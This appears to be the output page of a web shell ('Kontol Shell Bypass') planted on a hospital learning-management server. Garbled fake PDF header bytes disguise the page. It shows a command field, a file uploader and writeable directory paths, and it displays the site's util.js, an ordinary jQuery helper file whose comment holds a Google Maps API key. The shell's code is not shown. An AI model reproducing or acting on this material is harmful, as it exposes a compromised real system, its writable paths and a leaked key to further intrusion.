%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/shardalms/student-panel/app-js/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/shardalms/student-panel/app-js/util.js
function getExt(filename) {
	var ext= /[^.]+$/.exec(filename);
	ext=ext.toString();
	ext=ext.toLowerCase();
	return ext;
}

function redirect(url){
	location.href=url;
}

function getNumValue(v){
	v=$.trim(v);
	if(isNaN(v))
		v=0;
	return v*1;
}

function ajaxFormData(options){
	var xhr = new XMLHttpRequest();
	xhr.addEventListener('progress', function(e) {
	var done = e.position || e.loaded, total = e.totalSize || e.total;
	}, false);
	if ( xhr.upload ) {
		xhr.upload.onprogress = function(e) {
			var done = e.position || e.loaded, total = e.totalSize || e.total;
			per=Math.round(Math.floor(done/total*1000)/10);
			if(options.progress)
				options.progress(per);
		};
	}
	xhr.onreadystatechange = function(e) {
		if(readyState==4 && status==200) {
			if(options.complete)
				options.complete(responseText);
		}
	};
	xhr.open('post', options.url, true);
	xhr.send(options.data);
	
	/** 
	//(How to use)
	formData = new FormData(document.forms['formId']);
	formData.append('file', document.getElementById('fileInput').files[0]); //If need
	ajaxFormData({
		url:'upload.php',
		data:formData,
		progress: function(per){
		},
		complete: function(res){
		}
	});
	**/
}

function googleMap(Lat,Long,MapBoxId,Zoom,Icon,Title,MinZoom,MaxZoom) {
	/* key=AIzaSyD96BPnbuxiIt1SwcfX_ZP3I9C5vn5TBRI */
	/* include this javascript in your page */
	/* <script type="text/javascript" src="https://maps.googleapis.com/maps/api/js?v=3.exp&sensor=false"></script> */
	
	Lat=Lat*1;
	Long=Long*1;
	Zoom=Zoom?Zoom:8;
	Icon=Icon?Icon:'';
	Title=Title?Title:'';
	MinZoom=MinZoom?MinZoom:'';
	MaxZoom=MaxZoom?MaxZoom:'';
	
	var latlng = new google.maps.LatLng(Lat,Long);
	
	var mapOptions = {
	  center: latlng,
	  zoom: Zoom,
	  minZoom: MinZoom,
	  maxZoom: MaxZoom,
	  
	  mapTypeId: google.maps.MapTypeId.ROADMAP
	};
	var mymap = new google.maps.Map(document.getElementById(MapBoxId),mapOptions);
	
	var marker = new google.maps.Marker({
		position:latlng,
		title:Title,
		icon:Icon,
		map:mymap
	});
	
	google.maps.event.addListenerOnce(mymap, "bounds_changed", function() {
		google.maps.event.trigger(mymap, "resize");
		mymap.setCenter(latlng);
	});
	
	//When map fully loaded
	google.maps.event.addListenerOnce(mymap, 'idle', function(){
		google.maps.event.trigger(mymap, "resize");
		mymap.setCenter(latlng);
	});
}

function set_datepicker(obj){
	var ddate, uRange, yr;
	if(typeof obj == "undefined" || !obj){
		obj=$('.hasCal');
	}
	
    obj.each(function() {
		var cob=$(this);
        ddate=cob.val();
        yRange="1900:2050";
        yr=cob.attr('year-range');
        if(yr){
            yRange=yr;
        }
		
		var maxdate=cob.attr('maxdate');
        var mindate=cob.attr('mindate');
        
		
        cob.datepicker({
            dateFormat: "dd M yy",
            changeYear: true,
            changeMonth: true,
            yearRange: yRange,
			onSelect: function(date) {
				if($("[ng-app]").length){
					angular.element(cob).triggerHandler('input');
				}
			}
        });
        
        if(cob.attr('noweekend')){
            cob.datepicker( "option", "beforeShowDay", jQuery.datepicker.noWeekends);
        }
		if(maxdate && typeof maxdate !="undefined"){
           maxdate=new Date(cob.attr('maxdate'));
           cob.datepicker( "option", "maxDate", maxdate);
        }
        if(mindate && typeof mindate !="undefined"){
           mindate=new Date(cob.attr('mindate'));
           cob.datepicker( "option", "minDate", mindate);
        }
        
        cob.datepicker("setDate", ddate);
    });
}

function set_datetimepicker(obj){
	var ddate, uRange, yr;
	if(typeof obj == "undefined" || !obj){
		obj=$('.hasCal');
	}
	
    obj.each(function() {
		var cob=$(this);
        ddate=cob.val();
        yRange="1900:2050";
        yr=cob.attr('year-range');
        if(yr){
            yRange=yr;
        }
		
		var maxdate=cob.attr('maxdate');
        var mindate=cob.attr('mindate');
        
        cob.datetimepicker({
            dateFormat: "dd M yy",
			timeFormat: "hh:mm TT",
            changeYear: true,
            changeMonth: true,
            yearRange: yRange,
			onSelect: function(date) {
				if($("[ng-app]").length){
					angular.element(cob).triggerHandler('input');
				}
			}
        });
        
        if(cob.attr('noweekend')){
            cob.datepicker( "option", "beforeShowDay", jQuery.datepicker.noWeekends);
        }
		if(maxdate && typeof maxdate !="undefined"){
           maxdate=new Date(cob.attr('maxdate'));
           cob.datepicker( "option", "maxDate", maxdate);
        }
        if(mindate && typeof mindate !="undefined"){
           mindate=new Date(cob.attr('mindate'));
           cob.datepicker( "option", "minDate", mindate);
        }
        
        cob.datepicker("setDate", ddate);
    });
}

function setBsDatepicker(obj){
	var ddate;
	if(typeof obj == "undefined" || !obj){
		obj=$('.hasCal');
	}
	
    obj.each(function() {
		var cob=$(this);
        ddate=cob.val();
        
        cob.datepicker({
			autoclose: true,
            format: "dd M yyyy",
        }).on('changeDate', function(date) {
			if($("[ng-app]").length){
				angular.element(cob).triggerHandler('input');
			}
		});
        
        cob.datepicker("setDate", ddate);
    });
}

function set_page_links(){
	$("[page-link]").each(function(){
		var page_link=$(this).attr('page-link');
		$(this).css('cursor', 'pointer');
		$(this).click(function(e){
			e.preventDefault();
			location.href=page_link;
		});
	});
}

function remove_empty_qs(formobj){
	if(typeof formobj == "undefined" || !formobj){
		formobj=$('.search_form');
	}
	formobj.find('input,select').each(function(){
		var ob=$(this);
		if(!ob.val()){
			ob.removeAttr('name');
		}
	});
}

function set_tab_box() {
	$(".tabBox .tabBtns a").click(function(e) {
		e.preventDefault();
		var tabObj=$(this).closest('.tabBox');
		$(".tabBtns a", tabObj).removeClass('act');
		$(this).addClass('act');
		
		var index=$(this).index();
		$(".tabContentBx .tabContent", tabObj).hide();
		$(".tabContentBx .tabContent", tabObj).eq(index).show();
	});
}

function set_confirm_link(){
	$(".confirm").click(function(e){
		e.preventDefault();
		var msg=$(this).attr("msg");
		msg=msg?msg:'Are you sure?';
		if(confirm(msg)) {
			var url=$(this).attr("href");
			location.href=url;
		}
	});
}

function set_fancybox(){
	/** Fancybox init **/
	if($('.fancybox').length){
		$('.fancybox').fancybox({helpers: {overlay: {locked: false}}});
	}
	/** FancyBox Ajax **/
	$(".fancybox-ajax").each(function(){
		$(this).fancybox({
			closeBtn: true,
			type: 'ajax',
			helpers: {title: {type: 'inside', position : 'top'}, overlay: {locked: false}},
			beforeShow : function(opt) {title=$(element).attr('popup-title');}
		});
	});
}

function set_tinymce(selector, height){
  	tinymce.EditorManager.execCommand('mceRemoveEditor', true, $(selector).attr('id'));
	
	height=height?height:300;
	tinymce.init({
		selector: selector,
		height: height,
		menubar: false,
		fontsize_formats: "8px 9px 10px 11px 12px 13px 14px 15px 16px 18px 20px 22px 24px 26px 28px 30px 36px 40px 50px",
		plugins: [
		'advlist autolink lists link image charmap print preview anchor',
		'searchreplace visualblocks code fullscreen',
		'insertdatetime media table contextmenu paste code', 'textcolor colorpicker'
		],

		//alignleft aligncenter alignright alignjustify
		toolbar: 'insert | styleselect | bold italic | fontselect fontsizeselect | forecolor backcolor | bullist numlist outdent indent | link unlink | image table | removeformat code | fullscreen',
		//content_css: '//www.tinymce.com/css/codepen.min.css',
	  	
	  	paste_auto_cleanup_on_paste: true,
        paste_remove_styles: true,
        paste_remove_styles_if_webkit: true,
        paste_strip_class_attributes: true,
		
		valid_elements : '*[*]',
		
		relative_urls : false,
		remove_script_host : false,
		convert_urls : true,
	});
}

function tinymce_insert_file_init(){
	$(".tinymce_insert_file").click(function(){
		var objid=$(this).attr('objid');
		if(objid){
			tinymce.EditorManager.get(objid).focus();
		}
		
		/*$.fancybox({
			closeBtn: true,
			width: '80%',
			autoSize: false,
			type: 'ajax',
			href: 'files/lists',
			helpers: {title: {type: 'inside', position : 'top'}, overlay: {locked: false}},
			beforeShow : function(opt) {title='<h2>Select Image</h2>';}
		});*/
		
		show_loader();
		$.ajax({
			url: 'files/lists',
			success: function(res){
				hide_loader();
				$("#tinyMceImgModal .modal-body").html(res);
				$("#tinyMceImgModal").modal();
			}
		});
	});
}

function image_preview(input, imgobj) {
    if (input.files && input.files[0]) {
        var reader = new FileReader();
        reader.onload = function (e) {
            imgobj.attr('src', e.target.result);
        }
        reader.readAsDataURL(input.files[0]);
    }
}

function apply_select2(obj, text){
	if(!text){
		text='Select';
	}
	
	if(obj.hasClass('select2-hidden-accessible')){
		obj.select2('destroy');
	}
	//$.fn.select2.defaults.set("theme", "bootstrap");
	obj.select2({placeholder: text, allowClear: true});
}

function apply_select2_ajax(obj, url, text, defaultdata) {
    if(!text) {
        text = 'Select';
    }

    if(obj.hasClass('select2-hidden-accessible')) {
        obj.select2('destroy');
    }
    //$.fn.select2.defaults.set("theme", "bootstrap");
	
	var select_ob={
		placeholder: text, 
		allowClear: true,
		minimumInputLength: 1,
		ajax: {
			url: url,
			dataType: 'json',
			type: "GET",
			data: function (term) {
				return {term: term};
			},
			processResults: function (data) {
				//Format of data should be: [{id:1, text:'item1'}, {id:2, text:'item2'}]
				return { results: data };
			}
		}
	};
	
	if(typeof defaultdata == "object"){
		select_ob.initSelection=function(element, callback) {
			obj.html('');
			obj.append('<option value="'+defaultdata.id+'" selected>'+defaultdata.text+'</option>');
			callback({id: defaultdata.id, text: defaultdata.text });
		}
	}
    
	obj.select2(select_ob);
}

function show_alert_msg(msg, type, t){
	t=t?t:4000;
	type=type?type:'S';
	var css=type=='S'?'green':'red';
	var el='<div class="alertmsg"><div class="'+css+'">'+msg+'</div></div>';
	$(".alertmsg").remove();
	$("body").prepend(el);
	$(".alertmsg").delay(t).fadeOut('slow');
}

function hide_alert_msg() {
	$(".alertmsg").remove();
}

function show_loader(){
	/*var el='<div class="bodycover"></div><div class="ajaxloader"><i class="fa fa-spin fa-circle-o-notch"></i></div>';
	$(".bodycover,.ajaxloader").remove();
	$("body").prepend(el);*/
	$(".bodycover,.ajaxloader").show();
}

function hide_loader(){
	//$(".bodycover,.ajaxloader").remove();
	$(".bodycover,.ajaxloader").hide();
}

function showModal(obj, fullHeight){
	if(fullHeight){
		var h=$(window).outerHeight()-172;
		obj.find(".modal-body").css({'overflow':'Auto', 'max-height':h+'px'});
	}

	obj.modal();
	obj.find(".modal-body").scrollTop(0);
}

showModalNew=(obj, fullHeight, fixFullHeight, decreaseHeight)=>{
	let n=172;
	if(obj.find(".modal-dialog").hasClass("modal-fullx")){
		n=116;
	}
	if(obj.find(".modal-dialog").hasClass("modal-full")){
		n=136;
	}
	if(decreaseHeight){
		n=decreaseHeight*1;
	}
	if(obj.find(".modal-footer").length===0){
		n=n-63;
	}
	if(fullHeight){
		var h=$(window).outerHeight()-n;
		if(fixFullHeight){
			obj.find(".modal-body").css({'overflow':'Auto', 'height':h+'px'});
		}else{
			obj.find(".modal-body").css({'overflow':'Auto', 'max-height':h+'px'});
		}
	}

	obj.modal();
	obj.find(".modal-body").scrollTop(0);
	
	if(obj.hasClass('no-backdrop')){
		$('.modal-backdrop').remove();
	}
}

function hideModal(obj){
	obj.modal('hide');
	$('body').removeClass('modal-open');
	$('.modal-backdrop').remove();
}

openConfirmBootbox=(title, message, callback, callback_arg)=>{
	bootbox.confirm({
		title: title,
		message: message,
		animate:false,
		buttons: {
			'cancel': {label: 'No'},
			'confirm': {label: 'Yes'}
		},
		callback: function (res) {
			if(res === true) {
				if(callback){
					if(callback_arg){
						callback(callback_arg);
					}else{
						callback();
					}
				}
			}
		}
	});
}

bootboxAlert=(title, message, callback, callback_arg)=>{
	bootbox.alert({
		//size: "small",
		title: title,
		message: message,
		animate:false,
		callback: function(){
			if(callback){
				if(callback_arg){
					callback(callback_arg);
				}else{
					callback();
				}
			}
		}
	})
}

checkImageExt=(filename)=>{
	var ext= /[^.]+$/.exec(filename);
	ext=ext.toString();
	ext=ext.toLowerCase();
	var exts=['jpg', 'jpeg', 'png'];
	if(exts.indexOf(ext)!==-1)
		return true;
		
	return false;
}

checkImage=(ob, size_mb)=>{
	var obj=$(ob);
	var err=false;
	if(!checkImageExt(obj.val())){
		err=true;
		bootboxAlert('<div class="text-danger">Image Error!</div>', 'Invalid image! Only .jpg and .png images are allowed.');
	}
	
	if(!err){
		var file=obj[0];
		var size=file.files[0].size/1024;
		if(!size_mb){
			size_mb=2;
		}
		var maxs=size_mb*1024;
		if(size>maxs){
			err=true;
			bootboxAlert('<div class="text-danger">Image Size Error!</div>', "Can't upload! This image is larger than "+size_mb+" MB.");
		}
	}
	
	if(err){
		obj.val('');
	}
	return !err;
}

checkPdf=(ob, size_mb)=>{
	var obj=$(ob);
	var err=false;
	if(getExt(obj.val())!=='pdf'){
		err=true;
		bootboxAlert('<div class="text-danger">File Error!</div>', 'Invalid pdf file!');
	}
	
	if(!err){
		var file=obj[0];
		var size=file.files[0].size/1024;
		if(!size_mb){
			size_mb=2;
		}
		var maxs=size_mb*1024;
		if(size>maxs){
			err=true;
			bootboxAlert('<div class="text-danger">File Size Error!</div>', "Can't upload! This file is larger than "+size_mb+" MB.");
		}
	}
	
	if(err){
		obj.val('');
	}
	return !err;
}

checkImagePdf=(ob, size_mb)=>{
	var obj=$(ob);
	var err=false;
	if(!checkImageExt(obj.val()) && getExt(obj.val())!=='pdf'){
		err=true;
		bootboxAlert('<div class="text-danger">File Error!</div>', 'Invalid file! Only .jpg, .png and .pdf are allowed.');
	}

	if(!err){
		var file=obj[0];
		var size=file.files[0].size/1024;
		if(!size_mb){
			size_mb=2;
		}
		var maxs=size_mb*1024;
		if(size>maxs){
			err=true;
			bootboxAlert('<div class="text-danger">File Size Error!</div>', "Can't upload! This file is larger than "+size_mb+" MB.");
		}
	}

	if(err){
		obj.val('');
	}
	return !err;
}

//EOF

Kontol Shell Bypass